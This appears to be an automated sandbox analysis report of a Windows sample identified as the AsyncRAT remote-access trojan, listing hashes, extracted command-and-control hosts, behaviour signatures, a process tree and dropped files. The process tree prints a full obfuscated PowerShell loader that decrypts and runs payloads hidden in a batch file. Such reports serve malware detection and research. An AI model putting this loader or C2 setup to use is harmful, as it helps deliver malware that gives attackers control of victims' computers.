Analysis

  • max time kernel
    17s
  • max time network
    21s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-11-2024 16:41

General

  • Target

    test.exe

  • Size

    8.5MB

  • MD5

    fe88600b4e98eb0ac949ae43af0de141

  • SHA1

    24a14608b7c38f7e74d5c74f7c0f59032a99151e

  • SHA256

    53a48df43414b3ea7e0b61def5c565dec6ccd5debd90fbd7215f89ce5172d693

  • SHA512

    1c226bf339abd6be436243b783813ab6abc615ff5da3afb5ac948536ba86d1a7f5ae3f889c9f20271bad1d03ddd3b5e5db5ecf6b18f65483ae367406ec7293ff

  • SSDEEP

    196608:0qwvWk0XhJZNKbDTRv7fjS1PNFHQ1bl+XWf882sjqB0dI/r:20xRKDRzfWLx6l3f8+g

Malware Config

Extracted

Family

asyncrat

Botnet

Default

C2

127.0.0.1:55496

127.0.0.1:37754

tcp://nasdnasnd-55496.portmap.host:55496:55496

tcp://nasdnasnd-55496.portmap.host:55496:37754

tcp://nasdnasnd-55496.portmap.host:55496

tcp://nasdnasnd-55496.portmap.host:37754

floor-getting.gl.at.ply.gg:55496

floor-getting.gl.at.ply.gg:37754

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Asyncrat family
  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 20 IoCs
  • Detects Pyinstaller 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2176
    • C:\Users\Admin\AppData\Local\Temp\stub.exe
      "C:\Users\Admin\AppData\Local\Temp\stub.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1424
      • C:\Users\Admin\AppData\Local\Temp\stub.exe
        "C:\Users\Admin\AppData\Local\Temp\stub.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:3764
        • C:\Windows\SYSTEM32\attrib.exe
          attrib +h C:\Users\Admin\AppData\Roaming\HiddenDownloads
          4⤵
          • Views/modifies file attributes
          PID:2320
        • C:\Windows\SYSTEM32\attrib.exe
          attrib +h C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat
          4⤵
          • Views/modifies file attributes
          PID:4052
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3188
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PEyYh1n8VzYpr21/IXl51llHEBPi1h78+H+NUvA+uSQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('G2HEgLk6pcvHDZUSbthIeg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fpNLi=New-Object System.IO.MemoryStream(,$param_var); $gtpiv=New-Object System.IO.MemoryStream; $BIEih=New-Object System.IO.Compression.GZipStream($fpNLi, [IO.Compression.CompressionMode]::Decompress); $BIEih.CopyTo($gtpiv); $BIEih.Dispose(); $fpNLi.Dispose(); $gtpiv.Dispose(); $gtpiv.ToArray();}function execute_function($param_var,$param2_var){ $oCrgP=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bcgwz=$oCrgP.EntryPoint; $bcgwz.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat';$KYofG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat').Split([Environment]::NewLine);foreach ($RsYgi in $KYofG) { if ($RsYgi.StartsWith(':: ')) { $lhLhP=$RsYgi.Substring(3); break; }}$payloads_var=[string[]]$lhLhP.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4524

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\VCRUNTIME140.dll

    Filesize

    96KB

    MD5

    f12681a472b9dd04a812e16096514974

    SHA1

    6fd102eb3e0b0e6eef08118d71f28702d1a9067c

    SHA256

    d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8

    SHA512

    7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_brotli.cp311-win_amd64.pyd

    Filesize

    801KB

    MD5

    d9fc15caf72e5d7f9a09b675e309f71d

    SHA1

    cd2b2465c04c713bc58d1c5de5f8a2e13f900234

    SHA256

    1fcd75b03673904d9471ec03c0ef26978d25135a2026020e679174bdef976dcf

    SHA512

    84f705d52bd3e50ac412c8de4086c18100eac33e716954fbcb3519f4225be1f4e1c3643d5a777c76f7112fae30ce428e0ce4c05180a52842dacb1f5514460006

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_bz2.pyd

    Filesize

    81KB

    MD5

    4101128e19134a4733028cfaafc2f3bb

    SHA1

    66c18b0406201c3cfbba6e239ab9ee3dbb3be07d

    SHA256

    5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80

    SHA512

    4f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_decimal.pyd

    Filesize

    245KB

    MD5

    d47e6acf09ead5774d5b471ab3ab96ff

    SHA1

    64ce9b5d5f07395935df95d4a0f06760319224a2

    SHA256

    d0df57988a74acd50b2d261e8b5f2c25da7b940ec2aafbee444c277552421e6e

    SHA512

    52e132ce94f21fa253fed4cf1f67e8d4423d8c30224f961296ee9f64e2c9f4f7064d4c8405cd3bb67d3cf880fe4c21ab202fa8cf677e3b4dad1be6929dbda4e2

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_hashlib.pyd

    Filesize

    62KB

    MD5

    de4d104ea13b70c093b07219d2eff6cb

    SHA1

    83daf591c049f977879e5114c5fea9bbbfa0ad7b

    SHA256

    39bc615842a176db72d4e0558f3cdcae23ab0623ad132f815d21dcfbfd4b110e

    SHA512

    567f703c2e45f13c6107d767597dba762dc5caa86024c87e7b28df2d6c77cd06d3f1f97eed45e6ef127d5346679fea89ac4dc2c453ce366b6233c0fa68d82692

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_lzma.pyd

    Filesize

    154KB

    MD5

    337b0e65a856568778e25660f77bc80a

    SHA1

    4d9e921feaee5fa70181eba99054ffa7b6c9bb3f

    SHA256

    613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a

    SHA512

    19e6da02d9d25ccef06c843b9f429e6b598667270631febe99a0d12fc12d5da4fb242973a8351d3bf169f60d2e17fe821ad692038c793ce69dfb66a42211398e

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_queue.pyd

    Filesize

    30KB

    MD5

    ff8300999335c939fcce94f2e7f039c0

    SHA1

    4ff3a7a9d9ca005b5659b55d8cd064d2eb708b1a

    SHA256

    2f71046891ba279b00b70eb031fe90b379dbe84559cf49ce5d1297ea6bf47a78

    SHA512

    f29b1fd6f52130d69c8bd21a72a71841bf67d54b216febcd4e526e81b499b9b48831bb7cdff0bff6878aab542ca05d6326b8a293f2fb4dd95058461c0fd14017

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_socket.pyd

    Filesize

    76KB

    MD5

    8140bdc5803a4893509f0e39b67158ce

    SHA1

    653cc1c82ba6240b0186623724aec3287e9bc232

    SHA256

    39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769

    SHA512

    d0878fee92e555b15e9f01ce39cfdc3d6122b41ce00ec3a4a7f0f661619f83ec520dca41e35a1e15650fb34ad238974fe8019577c42ca460dde76e3891b0e826

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_ssl.pyd

    Filesize

    155KB

    MD5

    069bccc9f31f57616e88c92650589bdd

    SHA1

    050fc5ccd92af4fbb3047be40202d062f9958e57

    SHA256

    cb42e8598e3fa53eeebf63f2af1730b9ec64614bda276ab2cd1f1c196b3d7e32

    SHA512

    0e5513fbe42987c658dba13da737c547ff0b8006aecf538c2f5cf731c54de83e26889be62e5c8a10d2c91d5ada4d64015b640dab13130039a5a8a5ab33a723dc

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\_uuid.pyd

    Filesize

    23KB

    MD5

    9a4957bdc2a783ed4ba681cba2c99c5c

    SHA1

    f73d33677f5c61deb8a736e8dde14e1924e0b0dc

    SHA256

    f7f57807c15c21c5aa9818edf3993d0b94aef8af5808e1ad86a98637fc499d44

    SHA512

    027bdcb5b3e0ca911ee3c94c42da7309ea381b4c8ec27cf9a04090fff871db3cf9b7b659fdbcfff8887a058cb9b092b92d7d11f4f934a53be81c29ef8895ac2b

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\base_library.zip

    Filesize

    1.4MB

    MD5

    d0ad2b400f15d1bbaf48c8908bee5b0f

    SHA1

    c3f25ea44c69180bc7dff7f2615a4010badc9b4e

    SHA256

    b178b21bd1653a95b626840f565806b8e121962db6b3ae332632d5948323263e

    SHA512

    516183b61b5b65031b07876f4f35f6436cc6cd5b0c395ba18f96d42082e700b88d95bf48e029300674001bba9a8a9820e7e96134f3c55b9d457aba479dff955c

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\certifi\cacert.pem

    Filesize

    292KB

    MD5

    50ea156b773e8803f6c1fe712f746cba

    SHA1

    2c68212e96605210eddf740291862bdf59398aef

    SHA256

    94edeb66e91774fcae93a05650914e29096259a5c7e871a1f65d461ab5201b47

    SHA512

    01ed2e7177a99e6cb3fbef815321b6fa036ad14a3f93499f2cb5b0dae5b713fd2e6955aa05f6bda11d80e9e0275040005e5b7d616959b28efc62abb43a3238f0

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\charset_normalizer\md.cp311-win_amd64.pyd

    Filesize

    10KB

    MD5

    cbf62e25e6e036d3ab1946dbaff114c1

    SHA1

    b35f91eaf4627311b56707ef12e05d6d435a4248

    SHA256

    06032e64e1561251ea3035112785f43945b1e959a9bf586c35c9ea1c59585c37

    SHA512

    04b694d0ae99d5786fa19f03c5b4dd8124c4f9144cfe7ca250b48a3c0de0883e06a6319351ae93ea95b55bbbfa69525a91e9407478e40ad62951f1d63d45ff18

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\charset_normalizer\md__mypyc.cp311-win_amd64.pyd

    Filesize

    118KB

    MD5

    bac273806f46cffb94a84d7b4ced6027

    SHA1

    773fbc0435196c8123ee89b0a2fc4d44241ff063

    SHA256

    1d9aba3ff1156ea1fbe10b8aa201d4565ae6022daf2117390d1d8197b80bb70b

    SHA512

    eaec1f072c2c0bc439ac7b4e3aea6e75c07bd4cd2d653be8500bbffe371fbfe045227daead653c162d972ccaadff18ac7da4d366d1200618b0291d76e18b125c

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\libcrypto-1_1.dll

    Filesize

    3.3MB

    MD5

    6f4b8eb45a965372156086201207c81f

    SHA1

    8278f9539463f0a45009287f0516098cb7a15406

    SHA256

    976ce72efd0a8aeeb6e21ad441aa9138434314ea07f777432205947cdb149541

    SHA512

    2c5c54842aba9c82fb9e7594ae9e264ac3cbdc2cc1cd22263e9d77479b93636799d0f28235ac79937070e40b04a097c3ea3b7e0cd4376a95ed8ca90245b7891f

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\libssl-1_1.dll

    Filesize

    686KB

    MD5

    8769adafca3a6fc6ef26f01fd31afa84

    SHA1

    38baef74bdd2e941ccd321f91bfd49dacc6a3cb6

    SHA256

    2aebb73530d21a2273692a5a3d57235b770daf1c35f60c74e01754a5dac05071

    SHA512

    fac22f1a2ffbfb4789bdeed476c8daf42547d40efe3e11b41fadbc4445bb7ca77675a31b5337df55fdeb4d2739e0fb2cbcac2feabfd4cd48201f8ae50a9bd90b

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\python3.dll

    Filesize

    64KB

    MD5

    34e49bb1dfddf6037f0001d9aefe7d61

    SHA1

    a25a39dca11cdc195c9ecd49e95657a3e4fe3215

    SHA256

    4055d1b9e553b78c244143ab6b48151604003b39a9bf54879dee9175455c1281

    SHA512

    edb715654baaf499cf788bcacd5657adcf9f20b37b02671abe71bda334629344415ed3a7e95cb51164e66a7aa3ed4bf84acb05649ccd55e3f64036f3178b7856

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\python311.dll

    Filesize

    5.5MB

    MD5

    9a24c8c35e4ac4b1597124c1dcbebe0f

    SHA1

    f59782a4923a30118b97e01a7f8db69b92d8382a

    SHA256

    a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7

    SHA512

    9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\select.pyd

    Filesize

    28KB

    MD5

    97ee623f1217a7b4b7de5769b7b665d6

    SHA1

    95b918f3f4c057fb9c878c8cc5e502c0bd9e54c0

    SHA256

    0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790

    SHA512

    20edc7eae5c0709af5c792f04a8a633d416da5a38fc69bd0409afe40b7fb1afa526de6fe25d8543ece9ea44fd6baa04a9d316ac71212ae9638bdef768e661e0f

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\unicodedata.pyd

    Filesize

    1.1MB

    MD5

    bc58eb17a9c2e48e97a12174818d969d

    SHA1

    11949ebc05d24ab39d86193b6b6fcff3e4733cfd

    SHA256

    ecf7836aa0d36b5880eb6f799ec402b1f2e999f78bfff6fb9a942d1d8d0b9baa

    SHA512

    4aa2b2ce3eb47503b48f6a888162a527834a6c04d3b49c562983b4d5aad9b7363d57aef2e17fe6412b89a9a3b37fb62a4ade4afc90016e2759638a17b1deae6c

  • C:\Users\Admin\AppData\Local\Temp\_MEI14242\zstandard\backend_c.cp311-win_amd64.pyd

    Filesize

    507KB

    MD5

    56db4a861aec914a860461dedcdca0a0

    SHA1

    8535a8c9eac371a54308795a8bbe89414933e035

    SHA256

    6ab611c4a24406d9d97f09d49d50142ab2734b69a2b0d9ea6489e4af90c4a2a4

    SHA512

    600a21666e9ed334de5b4b17f60136434ee485c80f9740e6085e24ef95ca5376e6223a54c6b1c8f12987edab5d89af9676cc12e2a335f4c4e9ab79dfef8e4b90

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3jzxa2df.kiz.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\stub.exe

    Filesize

    8.3MB

    MD5

    2abbfb25196ba45ccc85c32898b8d50d

    SHA1

    eb6299f7ed55934543244088b6a9144927e49a19

    SHA256

    de7384b0fe1a8564d9ca22fcd0e9e7ee8ec3d09a86b017c54d0db51131a8b576

    SHA512

    f97aef78229990a59744a62490d4443c56ef18fdb3b783cb0f7cad31ce31d74fd94fbd7f854180c7f8cae067678a02c1f869f1e39c2fe592409687ecbbd50113

  • C:\Users\Admin\AppData\Roaming\HiddenDownloads\Infect1ed.bat

    Filesize

    277KB

    MD5

    9a0c13597c06fde5880fefab3866e9b5

    SHA1

    e3741ecab92f2395215a11ce86a752f9cb8de45a

    SHA256

    7040e23d2fb55f974503328406df36a6d6dac1b8835e00d54a70ebf9c080f843

    SHA512

    7127132f0ae4207a2025bb317b57d89d16cf8d3469affeb4e717e4814cfd1d8fd4b6f8b38b38f350017e7de025f90bfb183743a5391336e6b78c795fd75d7888

  • memory/4524-80-0x0000022160520000-0x0000022160542000-memory.dmp

    Filesize

    136KB

  • memory/4524-85-0x0000022160760000-0x0000022160768000-memory.dmp

    Filesize

    32KB

  • memory/4524-86-0x00000221607A0000-0x00000221607D6000-memory.dmp

    Filesize

    216KB

  • memory/4524-87-0x00000221607D0000-0x00000221607E6000-memory.dmp

    Filesize

    88KB